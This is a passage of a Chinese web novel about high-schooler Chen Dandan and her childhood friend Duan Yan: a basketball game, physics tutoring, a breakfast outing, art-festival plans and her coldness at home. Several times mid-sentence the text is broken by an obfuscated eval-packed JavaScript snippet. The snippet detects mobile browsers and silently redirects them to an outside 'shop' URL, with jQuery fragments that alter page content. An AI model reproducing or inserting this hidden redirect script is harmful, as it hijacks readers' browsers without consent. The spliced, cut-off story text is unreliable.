体育老师个头很高、脾气很好,带着他们班的同学做了热身活动之后,就允许他们自由活动了,解散之前,他还半开玩笑地说:“大家在这个操场上自由活动就好了啊,别跑回教室刷题,小心被我逮回来。” 以往的体育课上,陈丹丹都是和祝思倩一起活动,两个人要么打羽毛球,要么互相抽背课文,要么绕着操场走圈圈,从来没有当过观众,看班上的男生在干什么。用祝思倩的话来讲,就是没什么好看的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13284198|140047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这次不同。 体育老师一喊“解散”,祝思倩立马拉着陈丹丹跑到离篮球场最近的树荫下,这个位置角度绝佳,能把篮球场上的情况看的一清二楚。 于是陈丹丹看见她身后那位有点幼稚的风云人物在球场上动作肆意而有活力,时而目光紧紧看向前方,加快步伐,冲破防线后跳起投篮,时而压低重心,滑步防守。 就连他运球时篮球敲打地面的嘭嘭声,都仿佛自带节奏感。 简直帅炸了。 少年朝气蓬勃,在篮球场上的表现十分亮眼,极其吸引人的眼球,和他扔纸飞机时的感觉完全不一样,陈丹丹的心跳就那么空了一拍。 他打得畅快又投入,周围的观众看得也很开心。陈丹丹耳边响起一片欢呼,有男生的,更多的是女生的。 无数人大喊他的名字,为他欢呼。 一场校园篮球,硬生生打出了职业篮球赛的气氛。 段言的头发被汗水浸湿,额上的碎发耷拉下来,汗水顺着额头往脸颊下方低落,中场休息时,他用纸巾擦了擦脸。随后又转过身面对队友,背对那群女生,撩起衣摆用干爽的白色棉质毛巾擦了擦身上的汗水。 俞秉文简直要被他笑死:“至于么你?擦个汗还要转过身?” 生怕被谁占了便宜似的。 而且擦脸用纸巾,擦身上还用白毛巾……他们其他人都直接撩起衣服擦脸的好么,和段言一比,其他男生简直糙得不行。 “至于啊,当着你们所有人的面撩衣服,怪不好意思的。”段言轻挑眉梢,吊儿郎当地笑,看起来很不正经的样子,说出来的话却是—— “而且,男孩子出门在外也要注意保护好自己。” “噗——”旁边的男生听到这话都笑出了声,俞秉文更是调侃他道,“这点尺度还遮遮掩掩的,你是读过《男戒》吗?” 段言作思忖状,“或许我可以给你写一本。” 俞秉文给他竖起大拇指,“哥,您厉害!” 连不怎么爱笑的路易平都被这话弄得,笑得前仰后合。 段言将兜里的纸巾扔给他们:“得了,你们也擦擦吧,一身臭汗,熏死人了。” 俞秉文抬起胳膊闻了闻:“这叫男人味好不好?” 段言:“……” 另一边,祝思倩碰碰陈丹丹的胳膊,信誓旦旦道:“你等着看,一会儿肯定有女生送水。” 陈丹丹不信:“你不是说段言已经拒绝过很多女孩子了吗?应该不会还有人继续送水吧?” 祝思倩笑道:“你不要小看了段校草的魅力哦,不信你等着瞧。” 结果还真有女孩子跑过去送水。 那个女生留着斜刘海,短发刚到下巴尖,是个很好看的女孩子。她目标明确,直直地走到段言跟前,递过去一瓶矿泉水。 几个班一起上体育课,祝思倩也不知道那个女生是几班的,不过这并不妨碍她看这出好戏,她挽住陈丹丹的胳膊,笑得像个反派,“我猜这个女生会失败。” 话音刚落,陈丹丹就看见段言摆摆手,拒绝了那个女孩子。 “嘿嘿,果然不出我所料。”祝思倩一乐,真心话脱口而出,“青梅竹马才是最吊的!” 在她心里,陈丹丹和段言才是最配的! 要不然,为什么段言至今只加了陈丹丹一个女生为Q.Q好友? 陈丹丹:“……” 这和我有什么关系? 八字没一撇的事儿,你脑补的也太厉害了吧? 11. 十一颗青梅 可能是段言“毒舌”“不近人情”的名号被传出去了,之后倒没几个女生过来请教他了。偶尔有那么几个,也都是正儿八经和他讨论最后两道大题的解法。这回他倒是正常许多,嘴没那么毒。 下午的物理课上,白衬衣讲了一部分上午的测试卷,陈丹丹有几道题没搞懂,问祝思倩,祝思倩也表示不会。 陈丹丹望了望老师办公室的方向,眼神在前几排的物理课代表朱子奕、班里第一名的学霸路易平身上转了一圈,又回到桌上的物理卷子,在心里疯狂挣扎。 想鼓起勇气请教白衬衣题目,又怕问的题目在老师看来太简单。 想请教朱子奕和路易平,又和他们不熟,开不了口。 决心打败物理这个小怪兽的陈丹丹想了想,趁着下午大课间刚开始还没什么人来找段言的时候,赶紧转过身,鼓起勇气把卷子往他面前一递。 “段言,可以给我讲一下这道、这道,还有这道题吗?” 她用笔在卷子上圈了几个题号,再给卷子翻个面儿,圈了最后一道大题,“还有这一道。” 这几道题她完全不会,老师讲完了她还是没能听懂。 陈丹丹已经做好迎接他冷嘲热讽的心理准备了,不过没关系,只要他能把题目讲清楚,管他怎么说呢。 而且她还是有那么一点侥幸心理,以他们俩的交情,他总该不至于丝毫不留情面的……吧? 段言没有拒绝,他接过她的物理卷子,扫了眼题目。 有选择题,有填空题,还有大题。 通过上午的交换批改,他是知道她的物理水平的,见到这些被她圈出来的题目,也没多意外。 “陈丹丹同学,你这是把我当成你的辅导老师了?我可不会白白辅导学生。”他的视线落在她因为忐忑而颤动的眼睫毛上,半开玩笑地说道。 陈丹丹却当真了,“那我明天请你吃早餐。” “吃什么?”段言随口一问,心里已经在琢磨着怎么用她能懂的思路给她讲题了。 “面皮?” “好啊,”他顺口一答应,说完才反应过来,“跟你开玩笑的。” 陈丹丹没跟他开玩笑,眼睛里满满都是诚挚的邀请,“说好了啊,明早请你吃育才巷的蔡蔡面皮店。” 这家面皮店是她在本市最喜欢的一家,味道超赞的,只不过平时都是吃面包、饼干、饼子、包子这类节省时间的早餐,不经常去而已。她猜段言很多年没回来了,应该会很想念这里的面皮。 不仅是她的回忆这样告诉她,更有她对面皮的信心。 是的,没有人可以在吃了好几年的面皮之后,很久没吃,还不想念它。 面对女孩子的邀约,不管是去图书馆自习,还是去KTV参加生日聚会,又或者是一起吃饭,段言的回答从来都是一成不变的拒绝。 但这一次,他也不知道怎么回事,到了嘴边的拒绝转了个弯儿,满口答应。 “行,六点四十见?” “好。” 他将这归结为来自多年好友的邀请,实在盛情难却。 陈丹丹见他一口答应,面上不显,却在心里偷笑。 吃人嘴短,拿人手软。吃了我请的面皮,下次再问你题目,你总不好拒绝了吧? 相信有这位满分选手的帮助,她再加把劲儿,冲进高三的火箭班一定不是梦! 两个人一问一讲,看起来还挺和谐。 段言:“这里,先设粒子做圆周运动的半径为R……用牛顿第二定律算出来d=4R……然后联立这几个式子……懂了没?” 陈丹丹自信满满:“懂了!” 于是段言在草稿本上给她出了一道类似的题目,把条件稍微改了改,“懂了就做一下这道题。” 陈丹丹还是自信满满:“好!” 段言把笔递给她,“那你做一下。” 这才反应过来他刚刚说了什么的陈丹丹:“?” 她不是没听见过他给别的同学讲题,当时可没这个环节啊!怎么到了她就……至于这么不信任她吗? 不过她还是充满信心地接过笔开始演算。 几分钟后,陈丹丹的自信灰飞烟灭,她按照刚才的思路往下做,但因为数字和一些条件更改了,做得很不顺畅。做到后面,就算段言没有打断她,她也知道这个思路是做不出来的。 段言没干别的,就那么盯着草稿纸,看她写的步骤对不对,见她实在憋不出来了,他才伸出手。 陈丹丹会意地把笔放进他手里。 “这就是你说的会了?稍微改几个数字和条件,你还是照搬原来的思路,这就是你说的理解了?”段言的语气很正常,可陈丹丹莫名有种受到嘲讽的感觉。 她识时务地没有说话,低头作鹌鹑状,等着段老师继续发话。 他没好气地说:“再给你讲一遍,最后一遍,认真听着。” 这次再讲,他不仅重新讲了刚才的那几道题的思路,还给她讲了这些题目的变型以及相关的知识点。 依旧是出了几道题给她做,这回陈丹丹全都做出来了。 段言方才满意地收起草稿本,把卷子还给她,表情也从刚刚“怒其不争”“你怎么这么笨”的不耐转化为“孺子可教”的欣慰和“你总算会了”的轻松。 陈丹丹很开心,她觉得学霸的思路果然非常值得学习,她今天弄懂了好多知识点,学会了好多物理题! 有种被打通任督二脉的爽感诶! 她觉得她又可以了! 耶耶耶! “谢谢你啊。”她眉眼弯弯道,眼睛里亮晶晶的,像有很多颗闪亮的小星星。 重逢以来,段言还是第一次见她如此放松又真切的笑容,愣神一秒,盖好笔盖后,回她:“不客气,我也得谢谢你。” “嗯?” “谢谢你,提高了我的讲题水平和耐性。” 他相信,有生之年不管给谁讲题,都没有这么心累和无奈,简直比他打完整场篮球赛还要累。不仅要讲清楚,还要以她的思维方式讲清楚。不仅要把这道题讲明白,还要把相关的东西都讲明白,免得她理解了1+1=2之后,不理解1+2=3。 段言还没有想好未来要干什么,但老师这一职业已经彻底被他排除在外。 原因没别的,讲题太累了,心累。 他也不知道自己抽哪门子疯,花这么多时间给她讲难度并不大的题。占用了一个大课间还不够,又占用了一个半的十分钟课间。 这波毒舌攻击来的猝不及防,尚未做好心理准备的陈丹丹:“……” 可恶,又在嘲讽她! 趁着段言没看她,陈丹丹偷偷瞪了他一眼。 ——我觉得你还是当一个哑巴帅哥比较好,你闭上嘴的时候帅多了。 段言伸了个懒腰,站起身往出走,陈丹丹下意识问:“去哪?” 他眉梢微挑,“报告,去厕所。” “哈哈哈哈哈哈!我头都要笑掉了!”一旁的余秉文快要被他俩笑死。 趁他离开座位,陈丹丹明知故问,故意问余秉文:“他最近一直这样吗?” “哪样?” “嘴、这、么、毒。” 余秉文“咦”了一声:“哪里嘴毒了?” 陈丹丹也很惊讶,莫非时代变得这么快,嘴毒的下限也在她不知道的时候被拉低了? 这都不算最毒,要到什么程度才算?! 如果陈丹丹是个男生,余秉文肯定要拍拍她的肩膀,和她感慨一番。但她是个长得好看的女同学,他只能挠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“真的吗?他们什么时候在一起的?我都没有注意到诶。”陈丹丹还是挺喜欢听她分享这些八卦的,非常解压。 祝思倩闻言斜了她一眼,“能让你发现的,那就不叫偷偷在一起了,叫正大光明地在老师面前乱晃。” 她这个同桌一向是两耳不闻窗外事,班上,哦不,学校里的八卦,全都是她分享给她的。 说完,她继续:“听说就在前两天,隔壁班的班长晚自习下了之后守在他们班门口,等曾夕虹路过的时候和她表白了。” 陈丹丹:“哇哦!” 祝思倩的分享欲得到了满足,继续补充:“还有还有,这两天早上,曾夕虹的早餐都是隔壁班班长拜托他们班女生提前放在金绯桌上的。” “啊啊啊好甜!”陈丹丹激动地说,进了厕所,看人还挺多,就没接着往下问,只是和祝思倩来了个心照不宣的对视。 ——有进展了记得告诉我,下次听说了什么八卦也要告诉我。 ——没问题姐妹! 走出洗手间,祝思倩拉了拉陈丹丹的胳膊,“我和你分享了这么多八卦,你也要把你知道的都告诉我好不好~” 陈丹丹弯了弯唇:“我知道的八卦不都是你告诉我的?” 祝思倩:“……” 眼见暗示没用,她干脆明说了,“如果你和段言有什么进展,也要记得分享给我哦!” 陈丹丹惊呆了。 进展? 什么进展? 我和段言之间很单纯,就是纯纯的朋友和同学关系,你、你别胡说啊! 12. 十二颗青梅 这一晚,陈丹丹刷题刷到十二点就上床睡觉了。第二天早上她刻意提前了五分钟到面皮店,没想到她走进这家店的时候,段言已经到了。 他在仔细地擦桌子,还擦了擦旁边的凳子。 亮堂堂的店内,此刻热闹非凡。本市的人早餐喜欢吃面皮,往往大清早地就爬起来,就为了能在上学或者上班前吃上一碗热乎乎的面皮。 嘈杂的声音在她耳边响起。 “老板,一碗热面皮,要大碗的!再来一碗菜豆腐!” “好嘞!稍等!” “老板老板,我急着走,给我来碗切好的凉面皮,再来一碗花生浆稀饭。” “好嘞!” 穿着校服都帅到冒泡的少年坐在狭窄又拥挤的店内,有种格格不入的感觉。陈丹丹看着段言,就好像看见了来自另一个次元的世界,但他一开口,就把她拉回了现实。 “快点坐下,我都要饿死了。”他坐回对面,示意她就近坐在这里,“桌子和凳子都擦好了,放心坐。” 陈丹丹依言坐下,把书包放到他刚擦过的凳子上。 “你吃什么?” “你吃什么?” 两人异口同声,又齐齐笑开。 正巧,老板端着两碗面皮从后厨出来,端给两位客人后走到他们前面招呼道:“你们吃啥?” 陈丹丹:“我要一个小碗热面皮,多放点豆芽和面筋,不要胡萝卜,再来一碗菜豆腐。” 她说完,看向段言。 “一个大碗热面皮,不放蒜,再来一碗豆浆稀饭。” “好嘞!”老板重新走向厨房。 陈丹丹睁大眼看着对面的少年。看一眼,低头,再看一眼,欲言又止。 段言下巴一抬:“有话就说。” 好吧,既然被看出来了,那她就直接问了,陈丹丹眨眨眼,问道:“你是认真的吗?” 段言没理解这话:“什么认真的?” “吃面皮不放蒜啊!我记得你以前不是吃蒜的吗?” 陈丹丹不解,极其、非常不能理解,怎么会有人吃面皮不放蒜? “吃面皮不放蒜,和吃方便面不加调料包有什么区别?” 段言斜她一眼:“前两天腿上摔了个口子,医生建议最近不要吃辛辣刺激的东西。” “严重吗?”陈丹丹下意识看向他的腿。 “严重的话我还能坐在这里?”段言还是噎死人不偿命,“伤口在大腿上,别看了。” 那语气,活像是陈丹丹想要趁机轻薄他似的。 陈丹丹:“……哦。” 她灵动的眼睛转了转,突然间语气里充满了敬佩,“你竟然真的能忍住吃面皮不要蒜!如果是我,肯定忍受不了。” 没错,就是要故意馋他! 谁让他刚才一副“你是登徒子“的语气的? 段言没有被她馋到,转而说了个冷笑话:“我可以忍受吃面皮不放蒜,忍受不了别人把面皮叫成米皮或者凉皮。” 知音呐! 陈丹丹深以为然,“我也忍受不了这个!被叫做米皮或者凉皮,是对面皮最大的侮辱。” 侮辱的程度之深,估计是面皮被吃了之后还死不瞑目难以安息吧。 见她义愤填膺地咬唇,段言没忍住,笑出了声,对上她的目光,他虚虚握拳,抵住唇畔,“咳咳,面皮来了。” 老板果然端着两碗面皮来了,陈丹丹满足地吸了一口气,“谢谢。” “喏。”段言把筷子递给她,又从筷桶里拿出一双筷子开始拌面皮,还不忘提醒她,“你小心点拌面皮啊。” 这个提醒…… 陈丹丹脸一红,强调道:“我现在拌得可好了!” “嗯嗯嗯,”他的视线从面皮上短暂移开,意味不明地对着她笑了,“再也不会把面皮汤拌进眼睛里,然后哭着让老板给你拿毛巾擦了。” “对!”陈丹丹挺直背脊。 “那你好棒。”他温和地夸她,好似在说“对对对,我们丹丹好棒棒!”而用这样的语气说出夸赞的话的,大多是长辈。 陈丹丹这次反应过来,狠狠瞪了他一眼。 他不再掩饰,愉悦地笑出来。 “你们要的菜豆腐和豆浆稀饭。”穿着围裙的老板再次来到桌前,打断了段言的笑声。 “谢谢。” “不客气。”老板擦擦手,继续招呼进店的客人去了。 陈丹丹瞟了眼桌上的豆浆稀饭,低头吃两口面皮,再瞟一眼,犹犹豫豫地问段言:“嗯……你要不要尝一尝我点的菜豆腐,我还没吃的。” 见他停下筷子,她继续说:“吃面皮怎么可以没有菜豆腐相配呢,对吧?” 她想,他可能好多年没回来,不记得菜豆腐搭配面皮的美味了,于是兴致勃勃地主动介绍,“你夹一块菜豆腐放进面皮汤汁里蘸一蘸,超好吃的!” 一般人她还不介绍呢。 段言太久没回来,还真没想起菜豆腐的味道,他在汶市读书的时候,尝过一次那里的甜豆花儿,刺激得他从此之后再没吃过类似的食物。点单的时候,也下意识地选了不容易出错的豆浆稀饭。 “要来一点吗?”对面的女孩子又问,齐刘海之下,是小鹿一样干净清澈的眼睛。 “好。”段言鬼使神差地答应了,夹了一小块菜豆腐,放进面皮里蘸了蘸。 她还是眼睛亮晶晶地看着他。 他将菜豆腐喂进嘴里,主动告诉她:“好吃。” 她就露出开心的笑容。 吃完之后,段言投桃报李地问她,“要来点豆浆稀饭吗?我也还没动过。” 陈丹丹果断拒绝:“不要。” 段言:“?” 陈丹丹将菜豆腐泡进面皮汤汁里,用筷子压了压,抬起头道:“你别以为我没看见,豆浆稀饭刚端上桌,你就往里面加了好几勺糖!” 段言:“……你不是也喜欢甜甜的豆浆稀饭吗?” 他记得以前她酷爱在豆浆稀饭、黑米稀饭里面加糖,半勺起步,多的是加满满一勺糖的时候。 陈丹丹的神色突然变得有点落寞,声音很低地说:“我现在不喜欢加糖的豆浆稀饭了。” 声音小到几乎让段言以为是他幻听了。 基本上男生吃东西的速度比女生快很多,陈丹丹的面皮还剩下小半碗的时候,段言就已经吃完了一整碗面皮和豆酱稀饭。 他擦完嘴,将纸巾团了团丢进脚下的垃圾桶里,问道:“要吃核桃馍吗?” “不了不了。”陈丹丹敬谢不敏,一碗面皮加菜豆腐,足够她消化一个上午了。 再来一个核桃馍,哪怕是手掌心大小的核桃馍,她也是塞不进去了。 段言嗯了一声,“我再去买个核桃馍。” “哦。” 男生果然都挺能吃的,陈丹丹在心里感慨,注视着段言站起来,转身往透明橱窗方向走的身影,然后低下头继续品尝她的面皮菜豆腐。 不到两分钟,段言拎着个塑料袋回来了,陈丹丹瞄了一眼,是个超大版的核桃馍。 注意到她的目光,段言解释了一句:“给俞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13313777|140047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秉文带的。” “哦,你们关系还挺好的?” “还行。” 陈丹丹解决掉面皮菜豆腐之后,飞快地背起书包往橱窗走,她从书包隔层里掏出粉色的小钱夹,喊道:“老板,结账。” 老板站在透明橱窗后面,笑呵呵地说:“小姑娘,你们刚才已经付过钱了。” “咦?你们不会搞错了吧?”陈丹丹说着,就要从钱夹里掏钱。 “咋可能搞错哟!”老板娘从老板身后探出身,一把拨开老板,笑呵呵的样子和老板像极了,“和你一起来的那个男孩子早都付过钱了。” 陈丹丹一愣,下意识回过头去看段言,正好对上他的视线。 “你怎么跟个兔子似的跑那么快,我都没来得及叫住你。”他提溜着她的书包往店外走。 书包上两条厚厚的宽肩带从肩膀离开,肩膀陡然一松,陈丹丹不习惯地动了动肩。 “说好的我请客,怎么变成了你付钱?” “我们一起出来吃东西,怎么可能真的让你付钱?”段言笑着打趣她,“你忘记你小时候经常花光零钱,可怜兮兮来找我的事了吗?“ 怎么可能忘记…… 小时候啊,那是太过遥远的记忆了,不过和段言有关的回忆,她一点都没有忘掉。 楼下的小卖部门口,她拽住段言的袖子,“东东,我零花钱花光了,你可以不可以借我一块钱?我想买一包方便面吃,另外一包就当我请你吃的!等下周一我爸妈把零花钱给我,我马上就还给你,说话算话!” 小男孩抿住唇角,将零钱递给她的同时,绷着一张脸说道:“你买你的就好,我不吃……你这几周天天都在买零食,不好好吃饭,你如果再这样,我就告诉叔叔阿姨,让他们扣光你的零花钱。” “不要不要!你应该不会那么残忍吧……如果你敢告诉我爸爸妈妈,我就不理你了!” 小男孩静静地看着她。 “好啦,我以后每周顶多买三次零食。” 她后来果真说到做到,只是每次都买了很多很多。 无一例外,当她每次面对他那张释放冷气的脸,只要拽住他的袖子可怜巴巴地问他借钱,他总是嘴上说着要告状,实际上每次都借钱给她,也从来没让她还过,甚至一起吃早餐都是他主动付钱。如果不是他时常来家里吃饭,她估计早都不好意思接受他的请客了。 …… 回忆起当时,陈丹丹的脸上带着明媚的笑容。 思绪再回归当下,她的笑容在不知不觉间淡了一些,“你还以为我和以前一样,会早早就用完零花钱吗?我现在花钱很有计划的好不好。” 父母都是每个月定期给她钱,再也不像以前那样每周给她零花钱,还时不时问她够不够花了。在这样的生活里,她早就习惯了有计划地、克制地花每一分钱。 虽然陈丹丹脸上的笑容并没有消失,语气里还带着几分会花钱的小骄傲,但段言就是看出了她此刻并不开心。 因为。 她真正开心笑起来的样子,和现在并不相同。 陈丹丹看眼手表,抬头对段言说:“走吧,再不走就——” 被段言一句话截住。 “这么重的书包,你也不怕不长个儿。” 陈丹丹径直越过他往前走,经过他身边的时候,他拉长了音调,“小矮子——” 陈丹丹:“……” 可恶! 她162,在女生当中已经不算特别矮了好嘛! 而且她才十几岁,还可以继续长个子!! 13. 十三颗青梅 走到校门口旁,陈丹丹看着附近越来越多的同学,小声和段言商量:“你先还是我先?” 段言挑眉,不答反问:“先什么先?” “先进学校啊!要是被教导主任或者年级主任发现一男一女并行从校门口走进班里,会被重点观察的。”陈丹丹歪了歪脑袋。 ——而且,你有多引人注目,你自己心里没点儿数吗? 陈丹丹敢保证,要是她今天和段言一起从校门外走进班里,不出一天功夫,她就会在全年级出名,以“和段言走一块儿的那个女生”出名。 说完,她等了两秒,看段言停在原地没走,她飞快往前跑了几步,边跑边回头朝着他挥手。 “你不说话的话,我就先走了啊!待会儿见!” 明亮的太阳照耀在路边的树梢和行人身上,也同样照耀在笑容明媚的女孩脸上。她弯弯的眼睛和唇角在阳光的映照下,更显出了几分可爱。 不对。 是超级可爱。 留在原地的少年笑笑,轻声说:“待会儿见。” 陈丹丹一路小跑回教室,气还没喘匀,就听见祝思倩问她:“丹丹,你宵夜一般吃什么?” 高中生除了日常犯困之外,食量也特别大,刚下肚的食物用不了多久就能被消化掉,哪怕早餐和晚餐吃到撑,几个小时后照样会饿。 陈丹丹边收拾书本边说:“我一般吃小面包,这个比较方便。” 在如今这个“家”里,只有妹妹拥有点餐的权利,也只有她,有本事让母亲晚上下厨给她做甜点。作为无意中被忽略的对象,陈丹丹从一开始的郁闷、酸楚到现在的淡然处之只用了不到一个月的时间。 “那我今晚也吃小面包好了,”祝思倩欣然决定,不忘和好友抱怨,“我爸妈真的绝了,大前天晚上给我端了一盘水果和三明治,前天晚上给我下了碗牛肉面,昨晚还给我熬了鱼汤,我一点都不喜欢吃鱼好么,还非说鱼汤有营养。真是的,每天把我当猪在喂,再这么吃下去,我校服裤子都快要穿不进去了!” 真是幸福的烦恼,像是从前的她一样,有种身在福中不知福的天真可爱。 陈丹丹垂眸,掩饰了心里的羡慕。 想了想,她对祝思倩说:“我觉得你可以和叔叔阿姨商量一下,晚上吃点你喜欢的、清淡一点的,量也别弄太多,好好沟通一下应该没问题的。” 祝思倩点点头:“嗯,我今天回去和我妈沟通一下。”她把椅子往陈丹丹方向挪了挪,凑近问,“丹丹,我这几天是不是吃胖了?” 陈丹丹没有糊弄她,仔细观察了一下,“没有啊,感觉和之前差不多。” 祝思倩拍拍胸口:“那就好那就好。” …… 早读过后,班主任宣布两周后学校将开展艺术节,高二每个班级至少要出一个节目,并且要求节目要体现青春校园的气息,内容必须积极向上。 班级里立刻沸腾起来。 “哇塞,好开心呀!总算能正大光明地放松放松了!” “期待期待!” “也不知道今年是在歌剧院举办,还是在学校礼堂里举办。” 也有个别抱怨的同学。 “搞什么啊,过段时间就要分班考试了,现在还举办什么艺术节,这不是耽误我们准备考试嘛!” “就是说啊!也不知道学校咋想的。” 航哥咳了两声,抬手向下压了压,班里立刻变得安静。 “大家听我说,本次艺术节是你们中学时代参加的最后一次艺术节了,等你们到了高三,想参加学校都不会给你们机会的,希望你们好好珍惜这次机会,享受你们上大学之前的最后一次艺术节。”人到中年的班主任战术性推推鼻梁上方的眼镜,“当然了,分班考试你们也要好好准备,别到时候咱们班有的同学进不了高三火箭班,说出去不止你们,老师我也很没面子啊!” 底下传来哈哈大笑声。 “航哥放心,我们不会给你丢人的!” 航哥嘴角咧了咧,习惯性地卷了卷手中的通知,简单对班里的艺术节准备工作进行了安排,“这次主要由咱们班的文艺委员辛彤彤负责,辛彤彤?” 坐在第三排中间,扎着高马尾的高挑女生站起来。 航哥看向她:“同学们先想一下这次演出的形式,你负责和其他几个班委筛选节目内容,由全班同学进行投票,然后你辛苦一下,组织大家排练两周。” “好的老师。”辛彤彤脆声应道。 航哥满意地点点头,整了整衣领,旋即走出教室,留下一片叽叽喳喳讨论的声音。 摆烂派:“要不选诗歌朗诵吧?这个不需要花太多的时间排练,又可以让全班同学参与进来。” 被卷王反驳:“得了吧,我才不想那么老土呢!中学时代的最后一个艺术节哎,就随便拿个诗朗诵敷衍了?说出去怪丢脸的。” “舞蹈怎么样?感觉这个还可以。到时候我们可以选街舞或者古典舞,或者来个舞蹈串烧也可以啊。” “乐器演奏怎么样?我们班好像蛮多人都会乐器的!” 最后大家选择了器乐演奏加演唱,辛彤彤提议让学过乐器的同学把名字和学的乐器用小纸条写下来给她,她统计之后再和其他班委考虑节目内容。 课间就这么过去了一大半,嘈杂声中,陈丹丹隐隐听见后排传来的说话声。 “段言,你不写纸条吗?”俞秉文问。 “没听文艺委员说么,”少年懒洋洋地道,“会乐器的写小纸条,我什么都不会,写纸条干嘛?” 说白了,他并不喜欢混在一群人当中演奏,演出的还是一些他觉得很土的曲子。 陈丹丹忍了忍,没忍住,带着满肚子疑惑转过身,小小声地问他:“你不是从小就学钢琴吗?” 明明钢琴弹得那么好,为什么还要说自己没有学过乐器? 少年轻挑眉梢,将手中没喝完的纯牛奶搁在桌角,上半身往桌前方靠近,压低声音道:“记得替我保密。” 好吧。 陈丹丹猜测他可能是担心艺术节排练会耽误学习的时间,便也没多问原因,直截了当地点点头表示同意,旋即准备转回身。 “等等。” 陈丹丹转过去的动作停住,转了一半的身子再次往后,面对那张帅到过分的脸。 “伸手。”那张脸的主人如是说道。 她不明所以地眨了眨眼,还是伸出手,手掌心白白净净,看得段言轻咳一声。 一把大白兔奶糖被放入了她的掌心。 “贿赂。”他简简单单两个字,陈丹丹几乎立刻意会。 小时候无比喜欢的糖果此刻就放在她的掌心中,说不清是什么感受,原来还有人记得她喜欢的糖果,还会用哄小孩子的方式贿赂她。 心里有点涩涩的,她合上手掌,抓紧手中的糖果,缓缓点了点头。 而给她大白兔奶糖的那个少年,笑得如清风朗月一般,重新拿起桌上的牛奶喝了几口,然后将牛奶盒手动压扁,站起来,稍一转身,对准教室最后面的大垃圾桶,手臂一用力,牛奶盒在瞬间划过一道弧度,成功飞进了垃圾桶内,发出“哐”的一声,响声被淹没在嘈杂的教室中。 他见牛奶盒子顺利归位,笑着坐回去,眼神里还留存着几分带着兴味的笑意。 陈丹丹晃了晃神,迅速转回身,低头看了看手心里的大白兔奶糖,下意识伸手去拆开糖果的外包装。 拆到一半,手顿住,将糖果重新裹住,放进了书包隔层里。 …… 今天的晚自习原本是化学晚自习,航哥走进教室,临时通知大家:“化学老师生病了,今晚改成数学晚自习。” 同学们没有异议,不管上什么晚自习都一样要学习。 航哥坐在讲台 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小不点举起放在盘子里的专用小叉子,叉进一小块苹果里,仰起头张大嘴,啊呜一口吃掉苹果。 母亲又将水果盘递到叔叔面前,含笑道:“咱们女儿最近又长个子了,该给她买两身衣服穿了。” 叔叔大手一挥:“你明天就带她去买衣服。” 很和谐的声音,一听就是幸福的一家人。 只是这个一家人里没有她这个格格不入的局外人的位置。陈丹丹本来透着几分雀跃的目光变得黯淡下来。她不发一言,轻手轻脚地回到她的房间,关上卧室门后,还能听到母亲和叔叔一起哄继妹的声音。 房子的隔音并不好,她听见叔叔问:“要不要带丹丹也去买两身?” “不用,”母亲不假思索地否定了这个提议,“等她爸下个月把生活费打过来了,我再给她钱,让她自己去买。现在上个学多贵啊,咱们得省着点花,宝宝再有几年就上小学了,这儿最好的实验小学学费可不便宜,听说要一次□□够好几十万才给入学,之后还要请老师补课,再给她报个乐器班之类的,哪哪都要花钱,哪儿来的闲钱给丹丹买衣服呀!” 站在门边的陈丹丹不意听到了这番话,一股凉气从心底冒起来。 给她买衣服,是闲钱,是浪费。 给妹妹买衣服,请补课老师,报乐器班,是理所当然,是必办事项。 陈丹丹坐在椅子上轻轻喘了一口气,环视这间从真正意义上来说并不属于她的卧室,苦笑着安慰自己。 好歹她这个拖油瓶还有单独的卧室不是吗? 她紧紧拽住校服的下摆,手指因为太过用力而隐隐泛白。突然,她想起了什么,从书包隔层里取出一颗大白兔奶糖。 轻轻撕开包装,小心翼翼地将糖果喂进嘴里。 是甜的。 原来……她还能尝到属于幸福的甜味啊。 14. 十四颗青梅 周五第一节课上完,辛彤彤快步走到讲台上,用力拍了拍讲桌。 “同学们听我说,根据大家交上来的乐器名单,我们几个班委筛选了一下适合的曲目,大家支持哪个就举一下手啊!” 本就不怎么吵闹的班级立刻安静下来。 辛彤彤:“第一首是《我的未来不是梦》,会吉他、贝斯、架子鼓的同学演奏,其余的同学跟着合唱。” 祝思倩凑到陈丹丹耳边,低声说:“好没新意的曲子,我记得去年艺术节有个班就表演的这个。” 陈丹丹轻声道:“是吗?我记不清了。” 去年艺术节她参加了班级的合唱,按照学校要求邀请了父母参加,收到家长邀请函时,他们欣然答应,满口都是“爸爸/妈妈一定去”。 